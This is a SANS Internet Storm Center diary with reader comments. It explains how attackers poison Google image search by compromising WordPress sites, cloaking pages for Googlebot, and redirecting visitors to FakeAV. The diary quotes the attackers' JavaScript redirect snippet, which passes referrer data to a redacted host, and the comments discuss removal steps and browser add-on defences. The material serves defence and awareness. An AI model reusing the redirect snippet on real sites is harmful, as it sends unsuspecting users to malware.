Threat Level: green Handler on Duty: Xavier Mertens

SANS ISC: More on Google image poisoning - SANS Internet Storm Center SANS ISC InfoSec Forums


Sign Up for Free!   Forgot Password?
Log In or Sign Up for Free!
More on Google image poisoning

For last couple of weeks we received quite a bit of reports of images on Google leading to (usually) FakeAV web sites.
Google is doing a relatively good job removing (or at least marking) links leading to malware in normal searches, however, Google’s image search seem to be plagued with malicious links. So how do they do this?

The activities behind the scenes to poison Google’s image search are actually (and unfortunately) relatively simple. The steps in a typical campaign are very similar to those I described in two previous diaries (Down the RogueAV and Blackhat SEO rabbit hole – part 1 at http://isc.sans.edu/diary.html?storyid=9085 and part 2 at http://isc.sans.edu/diary.html?storyid=9103). This is what the attackers do:

  1. The attackers compromise a number of legitimate web sites. I have noticed that they usually attack Wordpress installations, but any widely spread software that has known vulnerabilities can be exploited.
     
  2. Once the source (legitimate) web sites have been exploited, the attackers plant their PHP scripts, similar to those I described in previously mentioned diaries. These scripts vary from simple to very advanced scripts that can automatically monitor Google trend queries and create artificial web pages containing information that is currently interested. That is actually how they generate new content – if you ever wondered how they had those web sites about Bin Laden up quickly it is because they automatically monitor the latest query trends and generate web pages with artificial content.

    These web sites contain not only text, but also images that are acquired from various web sites. Again, their scripts use various search engines to locate these pictures (I will probably post a diary about this soon too). They embed links to pictures which are really related to the topic so the automatically generated web page contains real looking content.
     
  3. Google now crawls through these web sites. The scripts that the attackers put will detect Google’s bots (either by their IP address or the User Agent) and will deliver special pages back containing automatically generated content. Google will also parse links to images and, if appropriate, populate the image search database.
     
  4. Now, when a user searches for something through the Google image search function, thumbnails of pictures are displayed. Depending on the automatically generated content in step 3), number of links to the web page and other parameters known to Google, the attacker’s page will be shown at a certain position in the results web page. The exploit happens when a user clicks on the thumbnail.
    Google now shows a special page that shows the thumbnail in the center of the page, links to the original image (no matter where it is located) on the right and the original web site (the one that contained the image) in the background. This is where the “vulnerability” is. Google displays this in a simple iframe:

    <iframe scrolling=auto id=rf src="http://REMOVED" frameborder=0 allowtransparency=true style="width:100%;height:100%">

    The user’s browser will automatically send a request to the bad page which runs the attacker’s script (the one set in step 1). This script checks that the request’s referrer field and if it contains Google (meaning this was a click on the results page in Google), the script displays a small JavaScript script:

    <script>var url = "http://REMOVED/in.cgi?2&seoref="+encodeURIComponent(document.referrer)+"&parameter=$keyword&se=$se&ur=1&HTTP_REFERER="+encodeURIComponent(document.URL)+"&default_keyword=default";
    if (window!=top) {top.location.href = url;} else document.location= url;
    </script>


    This causes the browser to be redirected to another site that is serving FakeAV.

As we can see, the whole story behind this is relatively simple (for the attackers). There is a number of things to do here to protect against this attack, depending if we are looking at servers or clients. For a standard user, the best protection (besides not clicking on images  is to install a Mozilla Firefox addon such as NoScript. Google could step up a bit as well, especially since this has been going on for more than a month already and there are numerous complaints on Google’s forums about this. Since there are so many poisoned images they could maybe modify the screen that displays the results so it does not include the iframe – that will help in first step only, since if the user lands on the malicious web page there is nothing Google can do really.

--
Bojan
INFIGO IS

 

I will be teaching next: Web App Penetration Testing and Ethical Hacking - SANS Madrid March 2019

Bojan

374 Posts
ISC Handler
I keep submitting to Google hoping they can develop a system of Filters to block junk.
I guess they are as backlogged with Work as everyone else.
Anonymous
> There is a number of things to do here to
> protect against this attack

I strip the Google referrer HTTP header on the proxy. After this almost all my FakeAV detections vanished.

I have the following rules on my 'outgoing header field section' on my proxy:
Action Strip: 'Referer:*google.*'
Anonymous
Knowing how the attack works and how to protect against it is good but it would also be helpful if someone could post some good FakeAV removal instructions. Google displays tons of so-called "Removal Instructions" but I've yet to find any that actually work. Fake or RogueAV is often identified as adware or merely annoying malware but if it's so difficult to remove, how is it really any different than the rest of the destructive crud floating out there? Sure, in most cases, it doesn't destroy the boot sector or display a BSOD but if you consider the hours it can take to remove it and equate that to loss of productivity, especially on PC's at work, I would consider it quite damaging. I've been seeing more frequent infections where I work and the latest have been on fully patched systems with current AV installed.
rand0m

6 Posts
Rand0m, unfortunately FakeAV isn't a single infection with one removal method, even if the flavors tend to come in waves.

But unless something nastier piggybacks on these things, they're rarely difficult to remove (especially when the user is not a local admin). If we see a flavor showing up on multiple computers, I'll grab a sample and infect a VM to make sure I didn't miss any of the mess. Then I'll publish a cleanup procedure for the help desk.

The biggest frustration I have is how often our AV misses these. I sent the executable from the last one we dealt with over their submission page. I even included a detailed description of what it does. All I got was a form letter stating that automated analysis turned up nothing malicious!
rand0m
15 Posts
[...]
This causes the browser to be redirected to another site that is serving FakeAV.
[...]

With US ip on windows redirected to another site that is serving FakeAV (BestAntivirus2011.exe)
With US ip on MAC OSX redirected to another site that is serving FakeAV MAC Defender (BestMacAntivirus2011.mpkg.zip)
With Italian ip on windows redirected to Blackhole exploit kit
GmG

1 Posts
Not constructive but just want to say this is why the world is coming to an end. Why oh why are people so gullible to still be falling for this?
GmG
9 Posts
I assume the iframe was a reaction to sites that detected and redirected deep links to images back to the homepage, or replaced them with a placeholder image. With the iframe there, the site sees a normal page request from the browser. Removing it would fix the FakeAV exploit but bring back the original problem, which was making Google Image Search less useful. That may be why they haven't taken that action.
Anonymous
The FakeAV Trojans are not typically that hard to remove. Most of the ones I've seen (when you aren't running as Administrator), install into the user's profile directory, Local Settings\Application Data or Local Settings\Temp with an entry in the CURRENT_USER Run registry key to run it at boot up.

I've had good luck doing one of the following:

1. Log that user off and then remove the files.
2. Kill the FakeAV task (I always do this remotely), and then remove the files.

Sometimes these things try to download many other modules and other malware as well, so watch out for that.
Shawn

29 Posts
@David, that definitely sounds like one of the reasons Google is slow with dealing with this.

Everyone, thanks for great comments, keep them coming :)
Bojan

374 Posts
ISC Handler
Bojan, what is your opinion of the Search Engine Security extension for Firefox? http://research.zscaler.com/2010/10/update-to-search-engine-security-plugin.html
Bojan
7 Posts
@sb

Usually they are piggybacked tho. Esp if the machine has been infected for a while and used on the internet.

The latest rootkits such as TDL3 and TDL4 are particularly damaging as they have MBR variants and if not removed with the most care can toast a partition. Not beyond recovery, but beyond the skillset of most people.


Bojan
1 Posts
I've seen three forms of the FakeAV at work...

1) "The Nag". Terminate the process and delete the file. Doesn't care that you run other programs.

2) "The Pain in the Ass". Doesn't let you run any exe because it latches into the exefile registry keys. We have an inf that reverts the registry change, then we terminate and delete the exe.

3) "The Real Pain in the Ass". Does the same as number two, but has the additional side effect of fudging permissions all over the system. It screws them up so bad that you can't run any of your applications anymore. When computers get these, we just reimage them.

Sad thing is, we use a Checkpoint firewall, McAfee VSE, and Cisco CSA. None of this stuff picks up FakeAV, but it does prevent you from downloading tools to remove malware. How good is that?
Anonymous
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

The RequestPolicy addon for Firefox would stop this threat. It stops any cross site scripting. CSRFs are a big draw in attacks right now. This little add-on really puts them in their place.

The only problem, as is usually the case, is getting users to use these tools and teaching them to use them properly.

<sarcasm>Perhaps before people use the internet, they should be required to take a "driving" test to get their internet license.</sarcasm> So long as people continue browse the internet like a 3 year old pushing buttons on a toy, we will continue to see these attacks get more and more sophisticated.

You can check out RequestPolicy at hxxp://addons(dot)mozilla(dot)org/en-US/firefox/addon/requestpolicy/ I am not affiliated with them. I'm just a happy user.
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.9 (MingW32)

iEYEARECAAYFAk3CgzoACgkQmrTkq5t2ePEeswCfcXalib7nAY45LTn1qPnKQw22
PqAAn19eLh6OhiSpld0ON+exsmpkAiqm
=YfHr
-----END PGP SIGNATURE-----
Anonymous
While the mind often boggles that people actually fall for these things, from a non-technical user standpoint they are often very convincing. They're a much more sophisticated social/user engineering attack than, for example, the latest Facebook-borne "paste this javascript into your address bar!" stuff. Chances are a lot of people have never even seen an infection alert from their AV before.
Anonymous
@Pevensey - I haven't checked the Search Engine Security extension yet so thanks for posting that; will take a look to see if it helps in this case (if someone else already knows please post a comment :).

@Josaph - this isn't really an XSS or CSRF problem - Google legitimately includes this iframe (it is faded in the background so you can see the original web page) so I'm not sure if that addon will help or not.
Bojan

374 Posts
ISC Handler
@Bojan, RequestPolicy stops any javascript regardless of where it's loading. The point isn't so much that it's an image in an iframe as much as it's the fact that the javascript will load thus holding any malicious payload. RequestPolicy would block any javascript on any page unless you whitelist it for the site your are on.

i.e.: I may allow javascript from wordpress on sophos nakedsecurity and directly on wordpress, but RequestPolicy would still block javascript from wordpress on mysitethatuseswordpress.com.

Like I said, I've been really happy with it. :)
Anonymous
If someone -told- me there's a minefield out there, and also the area where it was located, why would you choose to go through it anyway?
Common sense dictates avoidance, at least - look for another way to get whatever it is you're looking for.
There are -always- alternatives...
.
Jack

160 Posts
@Josaph - cool, thanks for clarifying that - seems like RequestPolicy is another nice addon to add to the list.
Bojan

374 Posts
ISC Handler

Sign Up for Free or Log In to start participating in the conversation!